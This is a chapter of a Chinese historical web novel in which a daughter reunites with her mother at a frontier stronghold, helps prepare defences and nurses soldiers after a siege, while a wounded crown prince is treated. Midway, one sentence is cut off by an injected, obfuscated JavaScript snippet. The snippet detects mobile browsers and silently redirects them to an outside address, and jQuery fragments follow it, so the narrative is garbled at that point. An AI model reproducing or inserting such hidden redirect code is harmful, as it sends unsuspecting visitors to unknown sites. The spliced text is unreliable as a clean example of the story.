奚春和与夏槐序随意用了晚饭,便从万影楼的大堂离去。离开前,奚春和回头看了一眼赵姝春刚才出现的阁楼。
那里依旧富丽堂皇,却少了那个让奚春和心心念念的人。
移开目光时,奚春和掩去眼里的落寞,与夏槐序离开。
刚离开万影楼前的小院,夏槐序就看见站在不远处的一名老翁。那老翁原本揣着手立在原地,再看见奚春和的第一瞬间就立马放下手,快步上前来。
老翁走路快而稳,夏槐序能看出他有武功傍身。待他到了奚春和面前,便恭敬地躬身行礼。
“蒋叔。”奚春和微微上前半步,扶起老翁。
蒋叔顺着奚春和的力道起来,仔细打量着奚春和的状态,片刻后欣慰笑起来:“小姐如今身体已经大好,实在是喜事一件。”
奚春和的力道有一瞬的停滞,蒋叔注意到这点小细节,立刻说道:“郡主与小姐舟车劳顿,夫人已经在不远的院子里等候。”
奚春和与夏槐序跟着蒋叔到了一处院落前。这座小院和一路过来所见的院子没有什么区别,皆是用黄土所筑,是西北一贯的疏朗。
蒋叔推开门,里面木桌旁已经坐了一人。一身浅淡紫衣,不是赵姝春又是谁。
只是此刻她摘了面纱,奚春和站在院门前,一点点仔细看过赵姝春,最后在她鼻梁上的一抹红痣上停留。
而赵姝春也在看着奚春和,远处边塞的晚霞铺满了半边天空,而奚春和就这样亭亭玉立地站在自己面前。
奚春和嘴唇颤抖,踉跄着奔到赵姝春面前,一头扎进温暖的怀抱,用双臂紧紧箍住赵姝春。
积攒了十八年的思念,终于在远行数千里后,在这一刻决堤。她埋在赵姝春的怀里,泪水泅湿了一大片衣裳。
而赵姝春也抚着奚春和的肩臂,将额头贴上女儿的鬓间。
“春和。”赵姝春哽咽着。
奚春和的泪水没有停下,微微点了点头。“母亲。”
赵姝春抬起奚春和的脸,为她拭去泪水。母女两个人看着彼此,都看出对方眼里的想念。
蒋叔站在院门前,抹了抹眼角。他见赵姝春与奚春和平静下来,忙将夏槐序请进院中,又让赵姝春与奚春和落座。
三个人皆坐下,蒋叔又走去后院。
“郡主。”赵夫人朝夏槐序温和笑道。
夏槐序柔声唤了一声“赵夫人”,语气敬重,带着几分亲近之意。
赵姝春执了二人的手,温柔说道:“今晚就先在这里将就一晚,明早我们就回安远侯府。”
奚春和与夏槐序进城时,特意挂了一截五彩线在城门的桃枝上,这是夏辞春告诉二人的暗号。
因此两人刚进城,赵姝春就知晓了。
可是如今边关局势紧张,奚仰山带着军队各处巡视,奚老夫人又在忧心下病倒。奚老夫人掐着日子算着奚春和入城的时间,这几日每天都要让赵姝春出府查看。
如今只有奚仰山的妻子段筠在家中照顾生病的奚老夫人。
这里是赵姝春偶尔落脚的小院,奚春和与夏槐序各自梳洗之后,都回屋歇息了。
外面的街道寂静下来,奚春和敲了敲赵姝春的屋门。赵姝春掌灯将奚春和让进屋子里,母女两人在暖黄的烛火下相视一笑。吹灭烛火,奚春和躺在赵姝春的怀里,闻着母亲身上的暖香,沉沉睡去。
第二日,赵姝春带着奚春和与夏槐序回了奚府。
奚老夫人拄着拐杖立在院中,看见奚春和时就红了眼眶,她颤抖着手拉着奚春和看了又看。
“是我的春和啊,我的乖孙女。”奚老夫人搂住奚春和,泪水淌过皱纹。
奚老夫人正与孙女执手垂泪,忽见一旁还站着一位少女,忙拿帕子压了压眼角,定睛瞧去。待看清夏槐序,奚老夫立刻会意,连忙上前:“郡主,老生眼拙,差点怠慢了贵客。”说着便要行礼。
夏槐序忙扶住奚老夫人,说道:“老夫人万万不可。”
奚老夫人年轻时也曾随老侯爷征战,只是老侯爷去得早,奚老夫人只身撑起偌大的安远侯府。
现在夏槐序依旧能感觉到奚老夫人虎口间的一层薄茧,虽然被岁月磨蚀,但痕迹仍在。
西北奚家的人丁实在不太繁茂,只因一直戍卫边关,百余年来,几代男儿都埋骨黄沙,到奚仰山这一代,只余下兄弟三人。府里女眷也只有奚老夫人、段筠和赵姝春,因此府中尤为清净。
晚间众人坐在厅中,忽然听见门帘被掀起,接着便是一连串脚步声。
人还未到跟前,就听见那爽朗的声音:“婶婶,是不是春和已经到了?”
话落,便见一个脑袋支进花厅。
后来的人一把拉起那人的领子,规矩走到门前,两人身上的铁甲都尚未褪去,可见来得匆忙。
奚仰山的目光在厅内一扫,看见两个陌生的女子,想起母亲的嘱托,他努力摆出温和的笑意:“臣奚仰山,见过郡主。”
夏槐序示意奚仰山以及他身后那个年轻男子免礼。奚仰山便看向坐在赵姝春身旁的奚春和,含笑道:“春和,我是大伯。”
奚春和起身,刚将身子福下去一点,就被人扶起。
那人面容俊秀,却带着点粗粝。他咧嘴笑道:“小妹,我是大哥。”
奚元徖的声音像夹杂着边塞暖烘烘的沙砾,低哑却温暖。
奚春和抿了抿嘴,有些哽咽,一一叫过二人。
待奚仰山和奚元徖落座,众人终于开席。
第二日,奚仰山和奚元徖要去巡防城门,二人用过饭又匆忙回了军营。
段筠叮嘱了丈夫和儿子几句,便搀扶着老夫人回屋。
奚春和和夏槐序则是与赵姝春去了书房。两人将玉珏拿出来,赵姝春盯着合二为一的玉珏,轻声问了夏槐序:“你母亲近来可好?”
夏槐序有一瞬间的愣怔,因为赵姝春的话语太过柔和,但是掺杂了太重的感情,以至于夏槐序一时不知该如何出口。
“挺好的。”最终夏槐序也只说了这一句。
奚春和点点头,还是叹出一口气。在四面楚歌的京都,怎样才算好呢?
在边关的半个月里,赵姝春暗中屯防兵力,夏槐序则和奚春和一起清点粮仓,准备军械。
万影楼富甲一方,这几日一直送来从各地采购而来的粮食和油盐,还有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473325|193531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
周边的铁料桐油。
夏予安就是在半个月后,带着一小支护卫精兵来到了甘州,还带来了箭矢、新甲、药品。
在议事厅里,这位太子扶起行礼的奚仰山,语气里带着尊敬:“侯爷快请起。我此行是奉朝廷之命来边关协防。”说着,他指了指地图,“我在京都读过侯爷的边报,字字肺腑。对边关的熟悉,我远不及侯爷。”
奚仰山眼里浮现对这个储君的赞赏,没想到夏予安竟如此通透谦和。此刻望着眼前青年从容坦荡的模样,奚仰山心中原本悬着的那块石头,也悄悄落了大半。
随后几日,夏予安便日日憩在军营里,与奚仰山、奚春和等人根据近期斥候传回的边境异动,调整了几处关卡的防守布局。几人一次次推演敌方可能进攻的路线,针对不同的进攻方向,定好应对的预案。
果然,又是半月,敌军大举攻城。
奚仰山和奚元徖迎战,夏槐序带着兵卒守在城墙之上,而夏予安则带着精兵补防,哪里吃紧,他就带着人冲到哪里。
奚春和在后方,跟着医者四处救治伤员。奚春和跪在地上,血水混着泼洒而出的药汁,附近的伤兵咬牙等着医治。
越来越多的人被抬进来,医帐里的医者皆埋头处理伤患。
三日,奚春和日夜守在医帐里。直到远处的喊杀声渐渐弱了下去,不知道是敌军退了,还是这一波攻势结束了。
一缕阳光从营帐的缝隙里透进来,躺在奚春和身边的一名伤患艰难伸出手握住那缕阳光,他转过眼珠子看着奚春和:“外面的厮杀停了,是我们胜了吗?”
随即,有人在外面奔喊:“胜了!胜了!我们大败北越,北越大王子被侯爷斩于马上,敌军溃败。”
奚春和对那名伤患点头,含着泪说:“我们赢了······”
帐外的欢呼涌了进来,医者们手上动作一顿,都直起酸僵的腰背红了眼。
奚春和悄悄抹了把脸,又转头去给下一个伤兵换药。一直到夜幕降临,奚春和才出了医帐,去往主帅的营帐。
刚掀开帘子,就闻到浓重的药味。奚春和的心往下沉了一瞬,忙往里走去。
奚仰山与夏槐序坐在椅子上,身上的伤口都处理过。见奚春和进来,夏槐序站起身时不小心牵动了肩膀的伤口,疼得嘶了一声。
奚春和忙扶住夏槐序,见横亘在她腰腹和肩膀的伤口,红了眼眶。
而不远处的床上,还躺着一个人影,一名穿着苍青衣裳的医者正在为床上的人包扎伤口。
夏予安躺在那里,眉间拢着苍白,那医者刚为他包扎上的绷带立马就被血渗透。
“刚才这位医者为太子诊过脉。”奚仰山长叹,“殿下心有抑郁,这几日全在强撑。箭伤深入肌理,方才回了帅营就撑不住倒了下去,血止了又渗,一直没能稳住。”
奚春和心头一紧,快步走到床边,夏予安原本紧绷的眉眼不知是不是听到了脚步声,微微动了动,原本紧抿的唇张了张,却没能吐出一个字。
那名苍青衣裳的医者这时才抬起头,轻声说:“别担心,我一定能让殿下醒过来。”
声音轻柔温润,落在奚春和耳畔。